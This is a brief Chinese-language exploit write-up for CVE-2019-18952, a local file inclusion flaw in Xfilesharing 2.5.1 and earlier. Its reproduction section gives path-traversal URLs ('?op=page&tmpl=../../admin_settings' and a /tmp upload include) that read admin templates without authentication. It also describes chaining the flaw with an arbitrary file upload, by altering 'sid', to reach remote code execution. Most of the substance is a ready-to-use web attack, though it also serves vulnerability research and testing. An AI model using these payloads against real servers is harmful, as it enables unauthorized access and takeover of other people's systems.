002-CVE-2019-18952 Xfilesharing 2.5.1本地文件包含.md

837 B / 2021-07-17 00:01:22
    # CVE-2019-18952 Xfilesharing 2.5.1本地文件包含

### 一、漏洞简介

### 二、漏洞影响

Version: <=2.5.1

### 三、复现过程

本地文件包含


```
http://url/?op=page&tmpl=../../admin_settings
```

此URL将获取“ admin_settings.html”模板，无需任何身份验证。“ .html”扩展名在服务器上进行了硬编码，因此所包含的文件必须在服务器上的任何位置都具有html扩展名。甚至可以通过上传html文件（例如“ upload.html”）并将“ sid”更改为“ ../../../../../../tmp”将LFI与任意文件上传漏洞合并，然后因此该文件将上传到服务器的tmp目录中。


```
http://url/?op=page&tmpl=../../../../../../../tmp/upload
```
 
Xfilesharing脚本也内置了短代码，因此您可以实现RCE通过将它们包括在“上传”中。